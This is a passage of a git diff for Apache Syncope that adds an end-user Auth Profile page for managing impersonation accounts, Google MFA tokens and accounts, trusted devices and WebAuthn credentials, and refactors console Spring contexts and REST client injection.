a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_ja.properties similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_ja.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_ja.properties diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_pt_BR.properties similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_pt_BR.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_pt_BR.properties diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_ru.properties similarity index 100% rename from client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$GoogleMfaAuthModuleConfLDAP_ru.properties rename to client/am/console/src/main/resources/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder$AuthModuleConfLDAP_ru.properties diff --git a/client/am/enduser/pom.xml b/client/am/enduser/pom.xml new file mode 100644 index 00000000000..16427dd2421 --- /dev/null +++ b/client/am/enduser/pom.xml @@ -0,0 +1,84 @@ + + + + + 4.0.0 + + + org.apache.syncope.client + syncope-client-am + 3.0.17-SNAPSHOT + + + Apache Syncope Client AM Enduser + Apache Syncope Client AM Enduser + org.apache.syncope.client.am + syncope-client-am-enduser + jar + + + ${basedir}/../../.. + + + + + jakarta.servlet + jakarta.servlet-api + provided + + + + org.apache.syncope.client.idrepo + syncope-client-idrepo-enduser + ${project.version} + + + org.apache.syncope.client.am + syncope-client-am-lib + ${project.version} + + + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + + + + + + src/main/resources + true + + org/apache/syncope/**/*.properties + + + + src/main/resources + false + + org/apache/syncope/**/*.properties + + + + + diff --git a/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/AMEnduserContext.java b/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/AMEnduserContext.java new file mode 100644 index 00000000000..3b840e520fd --- /dev/null +++ b/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/AMEnduserContext.java @@ -0,0 +1,34 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.enduser; + +import org.apache.syncope.client.enduser.rest.AuthProfileRestClient; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class AMEnduserContext { + + @ConditionalOnMissingBean + @Bean + public AuthProfileRestClient authProfileRestClient() { + return new AuthProfileRestClient(); + } +} diff --git a/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/pages/AuthProfile.java b/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/pages/AuthProfile.java new file mode 100644 index 00000000000..6446c112610 --- /dev/null +++ b/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/pages/AuthProfile.java @@ -0,0 +1,219 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.enduser.pages; + +import java.util.List; +import java.util.stream.Collectors; +import org.apache.syncope.client.enduser.rest.AuthProfileRestClient; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.annotations.AMPage; +import org.apache.syncope.client.ui.commons.markup.html.form.IndicatingOnConfirmAjaxLink; +import org.apache.syncope.common.lib.to.AuthProfileTO; +import org.apache.syncope.common.lib.wa.GoogleMfaAuthAccount; +import org.apache.syncope.common.lib.wa.GoogleMfaAuthToken; +import org.apache.syncope.common.lib.wa.ImpersonationAccount; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; +import org.apache.syncope.common.lib.wa.WebAuthnDeviceCredential; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.ajax.markup.html.navigation.paging.AjaxPagingNavigator; +import org.apache.wicket.markup.html.WebMarkupContainer; +import org.apache.wicket.markup.html.basic.Label; +import org.apache.wicket.markup.repeater.Item; +import org.apache.wicket.markup.repeater.data.DataView; +import org.apache.wicket.markup.repeater.data.ListDataProvider; +import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; + +@AMPage(label = "Auth Profile", icon = "fa fa-passport", listEntitlement = "") +public class AuthProfile extends BaseReauthPage { + + private static final long serialVersionUID = -3147262161518280928L; + + protected static final String AUTH_PROFILE = "page.authProfile"; + + protected static final int ROWS_PER_PAGE = 5; + + @SpringBean + protected AuthProfileRestClient restClient; + + public AuthProfile(final PageParameters parameters) { + super(parameters, AUTH_PROFILE); + + AuthProfileTO authProfile = restClient.read(); + + WebMarkupContainer container = new WebMarkupContainer("content"); + contentWrapper.add(container.setOutputMarkupId(true)); + + DataView impersonationAccounts = new DataView<>( + "impersonationAccounts", new ListDataProvider<>( + authProfile == null ? List.of() : authProfile.getImpersonationAccounts())) { + + private static final long serialVersionUID = 6127875313385810666L; + + @Override + public void populateItem(final Item item) { + item.add(new Label("impersonated", item.getModelObject().getImpersonated())); + item.add(new IndicatingOnConfirmAjaxLink<>( + "impersonationAccountDelete", Constants.CONFIRM_DELETE, true) { + + private static final long serialVersionUID = 1632838687547839512L; + + @Override + public void onClick(final AjaxRequestTarget target) { + if (authProfile != null) { + authProfile.getImpersonationAccounts().remove(item.getModelObject()); + restClient.update(authProfile); + target.add(container); + } + } + }); + } + }; + impersonationAccounts.setItemsPerPage(ROWS_PER_PAGE); + container.add(impersonationAccounts.setOutputMarkupPlaceholderTag(true)); + container.add(new AjaxPagingNavigator("impersonationAccountsNavigator", impersonationAccounts)); + + DataView googleMfaAuthTokens = new DataView<>( + "googleMfaAuthTokens", new ListDataProvider<>( + authProfile == null ? List.of() : authProfile.getGoogleMfaAuthTokens())) { + + private static final long serialVersionUID = 6127875313385810666L; + + @Override + public void populateItem(final Item item) { + item.add(new Label("otp", item.getModelObject().getOtp())); + item.add(new Label("issueDate", item.getModelObject().getIssueDate())); + item.add(new IndicatingOnConfirmAjaxLink<>( + "googleMfaAuthTokenDelete", Constants.CONFIRM_DELETE, true) { + + private static final long serialVersionUID = 1632838687547839512L; + + @Override + public void onClick(final AjaxRequestTarget target) { + if (authProfile != null) { + authProfile.getGoogleMfaAuthTokens().remove(item.getModelObject()); + restClient.update(authProfile); + target.add(container); + } + } + }); + } + }; + googleMfaAuthTokens.setItemsPerPage(ROWS_PER_PAGE); + container.add(googleMfaAuthTokens.setOutputMarkupPlaceholderTag(true)); + container.add(new AjaxPagingNavigator("googleMfaAuthTokensNavigator", googleMfaAuthTokens)); + + DataView googleMfaAuthAccounts = new DataView<>( + "googleMfaAuthAccounts", new ListDataProvider<>( + authProfile == null ? List.of() : authProfile.getGoogleMfaAuthAccounts())) { + + private static final long serialVersionUID = 6127875313385810666L; + + @Override + public void populateItem(final Item item) { + item.add(new Label("id", item.getModelObject().getId())); + item.add(new Label("name", item.getModelObject().getName())); + item.add(new Label("secretKey", item.getModelObject().getSecretKey())); + item.add(new Label("validationCode", item.getModelObject().getValidationCode())); + item.add(new Label("scratchCodes", item.getModelObject().getScratchCodes().stream(). + map(String::valueOf).collect(Collectors.joining(", ")))); + item.add(new Label("registrationDate", item.getModelObject().getRegistrationDate())); + item.add(new IndicatingOnConfirmAjaxLink<>( + "googleMfaAuthAccountDelete", Constants.CONFIRM_DELETE, true) { + + private static final long serialVersionUID = 1632838687547839512L; + + @Override + public void onClick(final AjaxRequestTarget target) { + if (authProfile != null) { + authProfile.getGoogleMfaAuthAccounts().remove(item.getModelObject()); + restClient.update(authProfile); + target.add(container); + } + } + }); + } + }; + googleMfaAuthAccounts.setItemsPerPage(ROWS_PER_PAGE); + container.add(googleMfaAuthAccounts.setOutputMarkupPlaceholderTag(true)); + container.add(new AjaxPagingNavigator("googleMfaAuthAccountsNavigator", googleMfaAuthAccounts)); + + DataView mfaTrustedDevices = new DataView<>( + "mfaTrustedDevices", new ListDataProvider<>( + authProfile == null ? List.of() : authProfile.getMfaTrustedDevices())) { + + private static final long serialVersionUID = 6127875313385810666L; + + @Override + public void populateItem(final Item item) { + item.add(new Label("id", item.getModelObject().getId())); + item.add(new Label("name", item.getModelObject().getName())); + item.add(new Label("deviceFingerprint", item.getModelObject().getDeviceFingerprint())); + item.add(new Label("recordDate", item.getModelObject().getRecordDate())); + item.add(new Label("expirationDate", item.getModelObject().getExpirationDate())); + item.add(new IndicatingOnConfirmAjaxLink<>( + "mfaTrustedDeviceDelete", Constants.CONFIRM_DELETE, true) { + + private static final long serialVersionUID = 1632838687547839512L; + + @Override + public void onClick(final AjaxRequestTarget target) { + if (authProfile != null) { + authProfile.getMfaTrustedDevices().remove(item.getModelObject()); + restClient.update(authProfile); + target.add(container); + } + } + }); + } + }; + mfaTrustedDevices.setItemsPerPage(ROWS_PER_PAGE); + container.add(mfaTrustedDevices.setOutputMarkupPlaceholderTag(true)); + container.add(new AjaxPagingNavigator("mfaTrustedDevicesNavigator", mfaTrustedDevices)); + + DataView webAuthnDeviceCredentials = new DataView<>( + "webAuthnDeviceCredentials", new ListDataProvider<>( + authProfile == null ? List.of() : authProfile.getWebAuthnDeviceCredentials())) { + + private static final long serialVersionUID = 6127875313385810666L; + + @Override + public void populateItem(final Item item) { + item.add(new Label("identifier", item.getModelObject().getIdentifier())); + item.add(new IndicatingOnConfirmAjaxLink<>( + "webAuthnDeviceCredentialDelete", Constants.CONFIRM_DELETE, true) { + + private static final long serialVersionUID = 1632838687547839512L; + + @Override + public void onClick(final AjaxRequestTarget target) { + if (authProfile != null) { + authProfile.getWebAuthnDeviceCredentials().remove(item.getModelObject()); + restClient.update(authProfile); + target.add(container); + } + } + }); + } + }; + webAuthnDeviceCredentials.setItemsPerPage(ROWS_PER_PAGE); + container.add(webAuthnDeviceCredentials.setOutputMarkupPlaceholderTag(true)); + container.add(new AjaxPagingNavigator("webAuthnDeviceCredentialsNavigator", webAuthnDeviceCredentials)); + } +} diff --git a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/markup/html/form/BpmnProcessesAjaxPanel.java b/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/rest/AuthProfileRestClient.java similarity index 52% rename from ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/markup/html/form/BpmnProcessesAjaxPanel.java rename to client/am/enduser/src/main/java/org/apache/syncope/client/enduser/rest/AuthProfileRestClient.java index 7ad531d8886..2714954ff59 100644 --- a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/markup/html/form/BpmnProcessesAjaxPanel.java +++ b/client/am/enduser/src/main/java/org/apache/syncope/client/enduser/rest/AuthProfileRestClient.java @@ -16,27 +16,29 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.enduser.markup.html.form; +package org.apache.syncope.client.enduser.rest; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; -import org.apache.wicket.behavior.Behavior; -import org.apache.wicket.model.IModel; +import org.apache.syncope.common.lib.to.AuthProfileTO; +import org.apache.syncope.common.rest.api.service.AuthProfileSelfService; -public class BpmnProcessesAjaxPanel extends AjaxTextFieldPanel { +public class AuthProfileRestClient extends BaseRestClient { - private static final long serialVersionUID = 9082907182704884397L; + private static final long serialVersionUID = 4139153766778113329L; - public BpmnProcessesAjaxPanel( - final String id, final String name, final IModel model) { - this(id, name, model, null); + public AuthProfileTO read() { + try { + return getService(AuthProfileSelfService.class).read(); + } catch (Exception e) { + LOG.debug("While attempting to read the auth profile", e); + return null; + } } - public BpmnProcessesAjaxPanel( - final String id, final String name, final IModel model, final Behavior behavior) { - super(id, name, model, false); - if (behavior != null) { - field.add(behavior); - } + public void update(final AuthProfileTO authProfile) { + getService(AuthProfileSelfService.class).update(authProfile); } + public void delete() { + getService(AuthProfileSelfService.class).delete(); + } } diff --git a/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile.html b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile.html new file mode 100644 index 00000000000..6c748cbacb1 --- /dev/null +++ b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile.html @@ -0,0 +1,255 @@ + + + + +
+
+
+
+
+
+

+
+
+
+
+ +
+
+
+
+
+ + + + + + + + + + + + + +
+ +
+ + + + + + +
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+ + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+ + + + + + + + + + + + + +
+ +
+ + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+ + diff --git a/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile.properties b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile.properties new file mode 100644 index 00000000000..4caaab9284e --- /dev/null +++ b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile.properties @@ -0,0 +1,34 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +page.authProfile=Auth Profile +impersonation.accounts.title=Impersonation Accounts +google.mfa.authtokens.title=Google MFA Tokens +google.mfa.authaccounts.title=Google MFA Accounts +mfa.trusted.devices.title=MFA Trusted Devices +webauthn.device.credentials.title=WebAuthn Device Credentials +otp=OTP +issueDate=Issue Date +impersonated=Impersonated +id=Id +name=Name +secretKey=Secret Key +validationCode=Validation Code +scratchCodes=Scratch Codes +registrationDate=Registration Date +deviceFingerprint=Fingerprint +recordDate=Record Date +expirationDate=Expiration Date diff --git a/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_it.properties b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_it.properties new file mode 100644 index 00000000000..ae0822ff627 --- /dev/null +++ b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_it.properties @@ -0,0 +1,34 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +page.authProfile=Auth Profile +impersonation.accounts.title=Account di impersonificazione +google.mfa.authtokens.title=Token MFA Google +google.mfa.authaccounts.title=Account MFA Google +mfa.trusted.devices.title=Dispositivi MFA +webauthn.device.credentials.title=Credenziali dispositivi WebAuthn +otp=OTP +issueDate=Data di emissione +impersonated=Impersonificato +id=Id +name=Nome +secretKey=Chiave segreta +validationCode=Codice di validazione +scratchCodes=Codici Scratch +registrationDate=Data di registrazione +deviceFingerprint=Fingerprint +recordDate=Data di registrazione +expirationDate=Data di scadenza diff --git a/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_ja.properties b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_ja.properties new file mode 100644 index 00000000000..4caaab9284e --- /dev/null +++ b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_ja.properties @@ -0,0 +1,34 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +page.authProfile=Auth Profile +impersonation.accounts.title=Impersonation Accounts +google.mfa.authtokens.title=Google MFA Tokens +google.mfa.authaccounts.title=Google MFA Accounts +mfa.trusted.devices.title=MFA Trusted Devices +webauthn.device.credentials.title=WebAuthn Device Credentials +otp=OTP +issueDate=Issue Date +impersonated=Impersonated +id=Id +name=Name +secretKey=Secret Key +validationCode=Validation Code +scratchCodes=Scratch Codes +registrationDate=Registration Date +deviceFingerprint=Fingerprint +recordDate=Record Date +expirationDate=Expiration Date diff --git a/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_pt_BR.properties b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_pt_BR.properties new file mode 100644 index 00000000000..4caaab9284e --- /dev/null +++ b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_pt_BR.properties @@ -0,0 +1,34 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +page.authProfile=Auth Profile +impersonation.accounts.title=Impersonation Accounts +google.mfa.authtokens.title=Google MFA Tokens +google.mfa.authaccounts.title=Google MFA Accounts +mfa.trusted.devices.title=MFA Trusted Devices +webauthn.device.credentials.title=WebAuthn Device Credentials +otp=OTP +issueDate=Issue Date +impersonated=Impersonated +id=Id +name=Name +secretKey=Secret Key +validationCode=Validation Code +scratchCodes=Scratch Codes +registrationDate=Registration Date +deviceFingerprint=Fingerprint +recordDate=Record Date +expirationDate=Expiration Date diff --git a/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_ru.properties b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_ru.properties new file mode 100644 index 00000000000..4caaab9284e --- /dev/null +++ b/client/am/enduser/src/main/resources/org/apache/syncope/client/enduser/pages/AuthProfile_ru.properties @@ -0,0 +1,34 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +page.authProfile=Auth Profile +impersonation.accounts.title=Impersonation Accounts +google.mfa.authtokens.title=Google MFA Tokens +google.mfa.authaccounts.title=Google MFA Accounts +mfa.trusted.devices.title=MFA Trusted Devices +webauthn.device.credentials.title=WebAuthn Device Credentials +otp=OTP +issueDate=Issue Date +impersonated=Impersonated +id=Id +name=Name +secretKey=Secret Key +validationCode=Validation Code +scratchCodes=Scratch Codes +registrationDate=Registration Date +deviceFingerprint=Fingerprint +recordDate=Record Date +expirationDate=Expiration Date diff --git a/client/am/lib/pom.xml b/client/am/lib/pom.xml index 31a0d450575..398266a65de 100644 --- a/client/am/lib/pom.xml +++ b/client/am/lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.client syncope-client-am - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client AM Lib diff --git a/client/am/pom.xml b/client/am/pom.xml index 8a66991e835..6eb708e9da8 100644 --- a/client/am/pom.xml +++ b/client/am/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-client - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client AM @@ -40,5 +40,6 @@ under the License. lib console + enduser diff --git a/client/idm/console/pom.xml b/client/idm/console/pom.xml index 25a71b7b0fd..c1cddd42aba 100644 --- a/client/idm/console/pom.xml +++ b/client/idm/console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.client syncope-client-idm - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdM Console diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/SyncopeIdMConsoleContext.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/IdMConsoleContext.java similarity index 56% rename from client/idm/console/src/main/java/org/apache/syncope/client/console/SyncopeIdMConsoleContext.java rename to client/idm/console/src/main/java/org/apache/syncope/client/console/IdMConsoleContext.java index 38d8681e371..ae5666f6d27 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/SyncopeIdMConsoleContext.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/IdMConsoleContext.java @@ -35,12 +35,22 @@ import org.apache.syncope.client.console.commons.StatusProvider; import org.apache.syncope.client.console.commons.VirSchemaDetailsPanelProvider; import org.apache.syncope.client.console.init.ClassPathScanImplementationContributor; +import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; import org.apache.syncope.client.console.init.IdMClassPathScanImplementationContributor; +import org.apache.syncope.client.console.rest.ConnectorRestClient; +import org.apache.syncope.client.console.rest.ImplementationRestClient; +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.rest.ReconciliationRestClient; +import org.apache.syncope.client.console.rest.RemediationRestClient; +import org.apache.syncope.client.console.rest.ResourceRestClient; +import org.apache.syncope.client.console.rest.UserRestClient; +import org.apache.syncope.client.console.status.ReconStatusUtils; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @Configuration(proxyBeanMethods = false) -public class SyncopeIdMConsoleContext { +public class IdMConsoleContext { @Bean public ClassPathScanImplementationContributor idmClassPathScanImplementationContributor() { @@ -48,18 +58,24 @@ public ClassPathScanImplementationContributor idmClassPathScanImplementationCont } @Bean - public ExternalResourceProvider resourceProvider() { - return new IdMExternalResourceProvider(); + public ExternalResourceProvider resourceProvider(final ResourceRestClient resourceRestClient) { + return new IdMExternalResourceProvider(resourceRestClient); } @Bean - public AnyDirectoryPanelAdditionalActionsProvider anyDirectoryPanelAdditionalActionsProvider() { - return new IdMAnyDirectoryPanelAdditionalActionsProvider(); + public AnyDirectoryPanelAdditionalActionsProvider anyDirectoryPanelAdditionalActionsProvider( + final ReconciliationRestClient reconciliationRestClient, + final ImplementationRestClient implementationRestClient) { + + return new IdMAnyDirectoryPanelAdditionalActionsProvider(reconciliationRestClient, implementationRestClient); } @Bean - public AnyDirectoryPanelAdditionalActionLinksProvider anyDirectoryPanelAdditionalActionLinksProvider() { - return new IdMAnyDirectoryPanelAdditionalActionLinksProvider(); + public AnyDirectoryPanelAdditionalActionLinksProvider anyDirectoryPanelAdditionalActionLinksProvider( + final ResourceRestClient resourceRestClient, + final UserRestClient userRestClient) { + + return new IdMAnyDirectoryPanelAdditionalActionLinksProvider(resourceRestClient, userRestClient); } @Bean @@ -68,8 +84,8 @@ public AnyWizardBuilderAdditionalSteps anyWizardBuilderAdditionalSteps() { } @Bean - public StatusProvider statusProvider() { - return new IdMStatusProvider(); + public StatusProvider statusProvider(final ReconStatusUtils reconStatusUtils) { + return new IdMStatusProvider(reconStatusUtils); } @Bean @@ -78,12 +94,44 @@ public VirSchemaDetailsPanelProvider virSchemaDetailsPanelProvider() { } @Bean - public ImplementationInfoProvider implementationInfoProvider() { - return new IdMImplementationInfoProvider(); + public ImplementationInfoProvider implementationInfoProvider( + final ClassPathScanImplementationLookup lookup, + final ImplementationRestClient implementationRestClient) { + + return new IdMImplementationInfoProvider(lookup, implementationRestClient); + } + + @Bean + public PolicyTabProvider idmPolicyTabProvider(final PolicyRestClient policyRestClient) { + return new IdMPolicyTabProvider(policyRestClient); + } + + @Bean + public ReconStatusUtils reconStatusUtils(final ReconciliationRestClient reconciliationRestClient) { + return new ReconStatusUtils(reconciliationRestClient); + } + + @ConditionalOnMissingBean + @Bean + public ConnectorRestClient connectorRestClient() { + return new ConnectorRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public ReconciliationRestClient reconciliationRestClient() { + return new ReconciliationRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public RemediationRestClient remediationRestClient() { + return new RemediationRestClient(); } + @ConditionalOnMissingBean @Bean - public PolicyTabProvider idmPolicyTabProvider() { - return new IdMPolicyTabProvider(); + public ResourceRestClient resourceRestClient() { + return new ResourceRestClient(); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ConnectorDataProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ConnectorDataProvider.java index 8d7f7cb3886..5a652d80ced 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ConnectorDataProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ConnectorDataProvider.java @@ -23,13 +23,11 @@ import java.util.Comparator; import java.util.Iterator; import java.util.List; -import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.rest.ConnectorRestClient; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.common.lib.to.ConnInstanceTO; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; @@ -47,13 +45,16 @@ public class ConnectorDataProvider extends DirectoryDataProvider { protected static final Logger LOG = LoggerFactory.getLogger(ConnectorDataProvider.class); - private final PageReference pageRef; + protected final ConnectorRestClient connectorRestClient; + + protected final PageReference pageRef; protected int currentPage; - private final String keyword; + protected final String keyword; public ConnectorDataProvider( + final ConnectorRestClient connectorRestClient, final int paginatorRows, final PageReference pageRef, final String keyword) { @@ -61,6 +62,7 @@ public ConnectorDataProvider( super(paginatorRows); setSort("displayNameSortParam", SortOrder.ASCENDING); + this.connectorRestClient = connectorRestClient; this.pageRef = pageRef; this.keyword = keyword; } @@ -75,9 +77,9 @@ public Iterator iterator(final long first, final long count) { currentPage = 0; } if (StringUtils.isBlank(keyword)) { - result = ConnectorRestClient.getAllConnectors(); + result = connectorRestClient.getAllConnectors(); } else { - result = ConnectorRestClient.getAllConnectors().stream(). + result = connectorRestClient.getAllConnectors().stream(). filter(conn -> conn.getDisplayName().toLowerCase().contains(keyword)). collect(Collectors.toList()); } @@ -85,8 +87,8 @@ public Iterator iterator(final long first, final long count) { LOG.error("While searching", e); SyncopeConsoleSession.get().onException(e); - Optional target = RequestCycle.get().find(AjaxRequestTarget.class); - target.ifPresent(t -> ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(t)); + RequestCycle.get().find(AjaxRequestTarget.class). + ifPresent(t -> ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(t)); } SortParam sortParam = getSort(); @@ -126,9 +128,9 @@ public long size() { try { if (StringUtils.isBlank(keyword)) { - result = ConnectorRestClient.getAllConnectors().size(); + result = connectorRestClient.getAllConnectors().size(); } else { - result = ConnectorRestClient.getAllConnectors().stream().filter(conn + result = 